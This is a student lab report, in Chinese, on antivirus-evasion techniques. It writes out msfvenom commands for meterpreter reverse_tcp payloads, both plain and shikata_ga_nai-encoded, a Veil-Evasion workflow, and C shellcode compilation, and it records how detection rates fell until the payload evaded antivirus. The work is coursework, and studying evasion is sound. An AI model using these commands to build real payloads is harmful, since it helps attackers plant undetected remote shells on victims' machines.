20145317 《网络对抗技术》免杀原理与实践
免杀技术
技术分类
改变特征码
加壳:使用专业的加壳软件,掩盖特征码;
使用encode等进行编码,进行异或、+1、-1等类似操作改变特征码;
使用其他语言进行重写再编译,如veil-evasion。
改变攻击行为
反弹式连接能大大减少被阻止查杀的风险;
在正常应用软件中插入恶意代码;
将恶意代码加密,运行恶意代码后再解密进行恶意操作;
非常规方法
使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
使用社工类攻击,诱骗目标关闭AV软件。
纯手工打造一个恶意软件
基础问题回答
1.杀软是如何检测出恶意代码的?
创建特征码库,对恶意代码的特征码进行匹配,匹配到即为恶意代码;
看该代码是否被流行免杀加壳软件加壳,如果有可能就是恶意代码;
根据该代码是否有恶意行为来判别,若有恶意的行为,我们就认为该代码是恶意代码。
2.免杀是做什么?
免杀就是通过改变恶意程序的明显特征等信息,一种能使病毒木马避免被杀毒软件查杀的技术。
3.免杀的基本方法有哪些?
改变特征码
加壳:使用专业的加壳软件,掩盖特征码;
使用encode等进行编码,进行异或、+1、-1等类似操作改变特征码;
使用其他语言进行重写再编译,如veil-evasion。
改变攻击行为
反弹式连接能大大减少被阻止查杀的风险;
在正常应用软件中插入恶意代码;
将恶意代码加密,运行恶意代码后再解密进行恶意操作;
实验步骤
实践过程记录
msfvenom直接生成meterpreter可执行文件
- win8的IP地址:192.168.199.237
- Kali的IP地址:192.168.199.109
- 使用
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.109 PORT=302 -f exe > fool.exe
命令生成meterpreter可执行文件fool.exe - 使用ncat将文件传输到win8主机
- 电脑管家检测到fool.exe恶意软件并删除,找回文件即可
- 我们上http://www.virscan.org/这个网站检测一下有多少查毒软件可以将其查杀出来
- 点击浏览选项,自行选中所要检测的程序:fool.exe,随后点击扫描一下即可。
-
检查结果如下:
- 有21/39的杀毒软件发现有病毒
Msfvenom使用编码器生成meterpreter可执行文件
1)一次编码
-
使用
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘x00’ LHOST=192.168.1.118 LPORT=5317 -f exe > 5317dd.exe
命令生成编码过的可执行文件5317dd.exe - 我们发现被编码后的payload大小为360字节,上面直接生成的payload大小为333字节,但是最终文件的大小都是73802字节。
-
以上述相同方法传送给win8主机后再次检测:
(2)8次编码
-
编码八次:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 8 -b ‘x00’ LHOST=192.168.1.118 LPORT=5317 -f exe > 5317pp.exe
- 由上图发现每编码一次,信息都会显示出来,而且每次payload增加27字节,最终payload大小为549字节,但是文件最终大小仍为73802字节
-
再来检测一下:
- 在编码8次之后,有21/39的杀毒软件检测出了有问题
-
我们发现,一般的杀毒软件对于编码这种免杀方法都是有防御性的
-
使用Veil-Evasion生成可执行文件
- wins的IP地址:192.168.1.118
-
在Kali中打开veil-evasion:直接在终端输入veil-evasion即可(如果是自己安装的kali可以用
sudo apt-get veil-evasion
下载一个) -
在该界面下输入命令:use python/meterpreter/rev_tcp,出现结果如下图所示:
-
使用
set LHOST 192.168.1.118
命令将LHOST设为Kali的IP -
输入命令generate,进入到如下界面
-
接下来我们输入自己生成的可执行文件的名字:5317py
-
他会询问我们选择哪种编写方式,我们选择1,用python语言来编写,最终出现如下界面
- 这里的端口我忘改了,不过这个也就和msf一样,自己随便设置就好。
-
该可执行文件存在kali计算机的/var/lib/veil-evasion/output/compiled/文件夹里,点击即可找到相应的文件夹:
-
检测结果如下:
-
有10/39的杀毒软件报告发现有病毒,效果还是不错的
使用C语言调用Shellcode
-
使用
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击者IP LPORT=5317 -f c
命令生成一个C语言shellcode数组 -
创建一个C文件:MSSC.c(意为免杀shellcode),将上面生成的数组copy到该文件下,并加入一个主函数:
-
使用
i686-w64-mingw32-g++ MSSC.c -o MSSC_5317.exe
命令将该C语言代码MSSC.c转换为一个可在64位windows系统下操作的可执行文件MSSC_5317.exe -
- 将上面生成的数组copy到win8的主机上,用vs2013编写一个C程序并编译
-
在Kali下使用msf监听运行刚刚编译生成的可执行文件,成功获取权限:
-
检测一下:
- 有5/39的查杀软件发现了病毒,比上一个超简单的C程序厉害了一点
-
我们找到C可执行文件的位置,用电脑管家扫描一下,成功免杀。